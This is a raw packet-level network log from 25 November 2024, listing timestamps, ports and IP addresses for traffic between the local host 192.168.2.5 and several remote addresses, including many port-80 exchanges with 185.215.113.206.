Nov 25, 2024 14:14:37.942675114 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:37.942691088 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:37.942838907 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:37.942909002 CET	443	49805	18.165.220.57	192.168.2.5
Nov 25, 2024 14:14:37.950170994 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.950258017 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.950277090 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.954921961 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.955002069 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.955285072 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.955329895 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.955329895 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.955348015 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.955357075 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.957465887 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.957608938 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.957917929 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.958184004 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.958204985 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.958221912 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.958226919 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.958848953 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.958877087 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.958996058 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.959548950 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.959559917 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.959722042 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.959780931 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.959800959 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.961255074 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.961306095 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.961611032 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.961719990 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.961746931 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.970933914 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.971014977 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.971035004 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.972706079 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.972758055 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.972994089 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.973056078 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.973056078 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.973067999 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.973074913 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.975693941 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.975717068 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.975858927 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.976013899 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:37.976026058 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:37.985388994 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.985459089 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.985476017 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.987335920 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:37.998111963 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.998194933 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.998226881 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.012355089 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.012486935 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.012497902 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.022473097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.022492886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.022545099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.022581100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.023092031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.023158073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.023216963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.023915052 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.023972034 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.024039030 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.024260044 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.024267912 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.024276018 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.024281025 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.024389029 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.024548054 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.024559975 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.024584055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.024632931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.024836063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.024945021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.025968075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.026026011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.026110888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.026176929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.028085947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.028141022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.028161049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.028213024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.029284954 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.029311895 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.029711962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.029798031 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.029809952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.029838085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.029850006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.031213045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.031269073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.031560898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.031605959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.032357931 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.032371044 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.032505989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.032748938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.032808065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.033709049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.033759117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.033806086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.033843040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.034792900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.034827948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.034848928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.035078049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.035834074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.035898924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.036032915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.036067009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.036389112 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.036482096 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.036499023 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.037022114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.037079096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.037110090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.037339926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.038146973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.038209915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.038244009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.038347006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.039689064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.039748907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.039911032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.040086985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.040369987 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.040714979 CET	49809	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:38.040724993 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.041043043 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.041111946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.041176081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.041346073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.041400909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.041553974 CET	49809	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:38.041611910 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.041702986 CET	49809	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:38.042501926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.042552948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.042618036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.042655945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.043893099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.043962002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.044323921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.044368029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.045483112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.045557976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.045672894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.045722961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.046777010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.046823025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.046847105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.046885014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.048110962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.048160076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.048407078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.048494101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.049026966 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.049124956 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.049127102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.049141884 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.049290895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.049297094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.049655914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.050302982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.050354958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.050498009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.050878048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.051209927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.051261902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.051765919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.051820040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.052257061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.052306890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.052372932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.053634882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.053695917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.053829908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.053962946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.054893017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.054948092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.055443048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.055499077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.055953026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.056004047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.056370974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.056417942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.057161093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.057409048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.057461977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.058337927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.058391094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.058657885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.058743000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.059298992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.059360027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.059653997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.059719086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.059904099 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.059966087 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.059982061 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.060638905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.060687065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.060764074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.061615944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.061685085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.061721087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.061764956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.062932968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.062990904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.063024044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.063218117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.064182043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.064337969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.064390898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.064430952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.065296888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.065351009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.065423965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.065465927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.066617966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.066667080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.067226887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.067707062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.067760944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.067826986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.068154097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.068217993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.069048882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.069104910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.069183111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.069221020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.070410013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.070468903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.070488930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.070564032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.071683884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.071726084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.071742058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.071763992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.071795940 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.071939945 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.071959019 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.072665930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.072824955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.072876930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.073992014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.074058056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.074229002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.074275017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.075612068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.075692892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.075712919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.075777054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.077105045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.077169895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.077223063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.077260017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.078330040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.078392029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.078490973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.078617096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.079330921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.079366922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.079395056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.079428911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.080801964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.080859900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.081015110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.081207037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.082237959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.082300901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.082468987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.082613945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.083545923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.083636045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.083899975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.083959103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.085175037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.085222960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.085442066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.085525990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.086213112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.086261034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.086426020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.086512089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.087327003 CET	443	49809	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:38.088387012 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:38.088404894 CET	443	49805	18.165.220.57	192.168.2.5
Nov 25, 2024 14:14:38.090418100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.090549946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.091990948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.092035055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.092036963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.092083931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.092144966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.092158079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:38.092199087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:38.096250057 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.096307039 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.096323967 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.098556995 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.098638058 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.098651886 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.118760109 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.120058060 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.120096922 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.120636940 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:38.120646000 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:38.122509003 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.122545004 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.122587919 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.122610092 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.122740984 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.124548912 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.127928019 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.128006935 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.128024101 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.132333040 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.132385015 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.132400036 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.138065100 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.138138056 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.138153076 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.145852089 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.145915985 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.145966053 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.153017044 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.153089046 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.153107882 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.160624027 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.160676956 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:38.160693884 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.168128967 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:38.168194056 CET	49783	443	192.168.2.5	142.250.181.65
